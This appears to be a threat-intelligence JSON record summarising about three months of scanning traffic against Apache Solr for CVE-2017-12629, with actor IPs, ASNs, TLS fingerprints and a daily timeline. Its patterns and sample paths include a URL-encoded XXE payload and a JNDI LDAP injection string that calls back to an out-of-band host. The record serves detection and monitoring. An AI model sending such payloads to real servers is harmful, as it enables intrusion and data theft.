{"cve_id":"CVE-2017-12629","title":"Apache Solr <= 7.1 - XML Entity Injection","severity":"critical","actively_exploited":false,"patterns":["/solr/admin/cores","/solr//select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22https%3A%2F%2F%2F%22%3E%0A%25remote%3B%5D%3E%0A%3Croot%2F%3E&wt=xml&defType=xmlparser"],"events":3458,"unique_ips":208,"actors":[{"ip":"137.184.31.121","events":69,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"159.89.236.29","events":64,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"24.144.98.37","events":44,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"157.245.247.139","events":43,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"161.35.113.47","events":42,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"142.93.55.208","events":41,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"167.99.229.116","events":41,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"161.35.5.183","events":41,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"146.190.64.87","events":40,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"157.230.224.175","events":40,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"167.99.151.225","events":40,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"147.182.213.43","events":40,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"143.198.165.117","events":39,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"167.99.234.27","events":39,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"206.189.193.127","events":39,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"206.189.230.61","events":39,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"134.122.21.36","events":39,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"165.22.176.16","events":38,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"67.205.130.205","events":38,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"157.230.187.192","events":37,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"165.227.200.41","events":37,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"146.190.70.246","events":37,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"64.227.21.125","events":36,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"tournament.commemorate.dependence.co.nz","scanner_tag":null},{"ip":"165.227.196.13","events":36,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"143.198.164.235","events":36,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"scale-test-1779871031033-b7767c5f.mongo.ondigitalocean.com","scanner_tag":{"key":"digitalocean","label":"DigitalOcean","category":"hosting_provider","url":"https://www.digitalocean.com/"}},{"ip":"68.183.122.21","events":35,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"198.211.106.32","events":35,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"104.248.48.34","events":34,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"147.182.178.36","events":34,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"68.183.111.245","events":34,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"204.48.19.79","events":34,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"198.199.121.134","events":34,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"167.71.31.227","events":34,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"167.99.224.66","events":33,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"147.182.185.175","events":33,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"206.189.207.18","events":33,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"198.211.107.181","events":33,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"159.89.51.95","events":32,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"68.183.133.83","events":32,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"192.241.143.35","events":32,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"167.172.158.249","events":32,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"143.198.163.156","events":31,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"206.189.197.33","events":31,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"206.189.229.60","events":31,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"67.205.131.16","events":31,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"159.203.186.214","events":30,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"24.199.82.210","events":30,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"134.122.112.94","events":30,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"178.128.204.108","events":30,"country_code":"DE","country":"Germany","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"198.199.89.181","events":30,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null}],"top_asns":[{"asn":14061,"org":"DigitalOcean, LLC","events":3398,"ips":201},{"asn":135377,"org":"UCLOUD INFORMATION TECHNOLOGY HK LIMITED","events":8,"ips":1},{"asn":51167,"org":"Contabo GmbH","events":4,"ips":1},{"asn":60064,"org":"Hostpalace Datacenters Ltd","events":4,"ips":1},{"asn":4847,"org":"China Networks Inter-Exchange","events":3,"ips":1}],"fingerprints":{"ja4h":["ge11nn0300_86b6b04cb9cc","ge11nn0300_0db47b7d240d","ge11nn0400_9c3956fad5da","ge11nn05en_76032d5f0f2d","ge11nn0400_ef4d07580f66"],"ja4":["t13i190800_9dc949149365_97f8aa674fd9","t13i250900_b78ed14e2fd0_e7c285222651"]},"sample_paths":["/solr/admin/cores?action=%24%7Bjndi%3Aldap%3A%2F%2F%24%7B%3A-310%7D%24%7B%3A-763%7D.%24%7BhostName%7D.uri.d83ilri1dk0477fthfq0rrhxt7j8sysu6.oast.live%2F%7D","/solr/admin/cores?action=STATUS&wt=json","/solr/admin/cores?indexInfo=false&wt=json","/solr/admin/cores?wt=json"],"timeline":[{"day":"2026-05-04","events":5,"ips":4},{"day":"2026-05-05","events":4,"ips":4},{"day":"2026-05-06","events":12,"ips":3},{"day":"2026-05-07","events":24,"ips":5},{"day":"2026-05-08","events":62,"ips":8},{"day":"2026-05-09","events":52,"ips":10},{"day":"2026-05-10","events":75,"ips":15},{"day":"2026-05-11","events":62,"ips":18},{"day":"2026-05-12","events":79,"ips":18},{"day":"2026-05-13","events":58,"ips":6},{"day":"2026-05-14","events":28,"ips":7},{"day":"2026-05-15","events":71,"ips":9},{"day":"2026-05-16","events":46,"ips":7},{"day":"2026-05-17","events":27,"ips":5},{"day":"2026-05-18","events":37,"ips":8},{"day":"2026-05-19","events":50,"ips":15},{"day":"2026-05-20","events":47,"ips":16},{"day":"2026-05-21","events":63,"ips":15},{"day":"2026-05-22","events":45,"ips":14},{"day":"2026-05-23","events":43,"ips":11},{"day":"2026-05-24","events":31,"ips":5},{"day":"2026-05-25","events":60,"ips":12},{"day":"2026-05-26","events":49,"ips":13},{"day":"2026-05-27","events":49,"ips":16},{"day":"2026-05-28","events":48,"ips":7},{"day":"2026-05-29","events":24,"ips":6},{"day":"2026-05-30","events":64,"ips":6},{"day":"2026-05-31","events":46,"ips":8},{"day":"2026-06-01","events":50,"ips":7},{"day":"2026-06-02","events":54,"ips":17},{"day":"2026-06-03","events":75,"ips":19},{"day":"2026-06-04","events":70,"ips":16},{"day":"2026-06-05","events":48,"ips":4},{"day":"2026-06-06","events":23,"ips":9},{"day":"2026-06-07","events":46,"ips":10},{"day":"2026-06-08","events":47,"ips":15},{"day":"2026-06-09","events":36,"ips":7},{"day":"2026-06-10","events":37,"ips":4},{"day":"2026-06-11","events":21,"ips":6},{"day":"2026-06-12","events":47,"ips":7},{"day":"2026-06-13","events":38,"ips":4},{"day":"2026-06-14","events":51,"ips":9},{"day":"2026-06-15","events":39,"ips":13},{"day":"2026-06-16","events":61,"ips":18},{"day":"2026-06-17","events":44,"ips":10},{"day":"2026-06-18","events":57,"ips":3},{"day":"2026-06-19","events":34,"ips":6},{"day":"2026-06-20","events":70,"ips":16},{"day":"2026-06-21","events":45,"ips":16},{"day":"2026-06-22","events":50,"ips":12},{"day":"2026-06-23","events":42,"ips":4},{"day":"2026-06-24","events":24,"ips":7},{"day":"2026-06-25","events":46,"ips":6},{"day":"2026-06-26","events":36,"ips":4},{"day":"2026-06-27","events":31,"ips":12},{"day":"2026-06-28","events":14,"ips":9},{"day":"2026-06-29","events":36,"ips":14},{"day":"2026-06-30","events":43,"ips":5},{"day":"2026-07-01","events":6,"ips":5},{"day":"2026-07-02","events":9,"ips":7},{"day":"2026-07-03","events":34,"ips":14},{"day":"2026-07-04","events":15,"ips":11},{"day":"2026-07-05","events":8,"ips":6},{"day":"2026-07-06","events":4,"ips":3},{"day":"2026-07-07","events":5,"ips":4},{"day":"2026-07-08","events":16,"ips":8},{"day":"2026-07-09","events":15,"ips":7},{"day":"2026-07-10","events":24,"ips":13},{"day":"2026-07-11","events":29,"ips":13},{"day":"2026-07-13","events":26,"ips":4},{"day":"2026-07-14","events":50,"ips":14},{"day":"2026-07-15","events":37,"ips":17},{"day":"2026-07-16","events":54,"ips":16},{"day":"2026-07-17","events":56,"ips":19},{"day":"2026-07-18","events":51,"ips":5},{"day":"2026-07-19","events":24,"ips":6},{"day":"2026-07-20","events":57,"ips":19},{"day":"2026-07-21","events":69,"ips":20},{"day":"2026-07-22","events":44,"ips":14},{"day":"2026-07-23","events":64,"ips":14},{"day":"2026-07-24","events":45,"ips":5},{"day":"2026-07-25","events":28,"ips":11},{"day":"2026-07-26","events":52,"ips":11},{"day":"2026-07-27","events":58,"ips":11},{"day":"2026-07-28","events":2,"ips":1}],"window_hours":2160}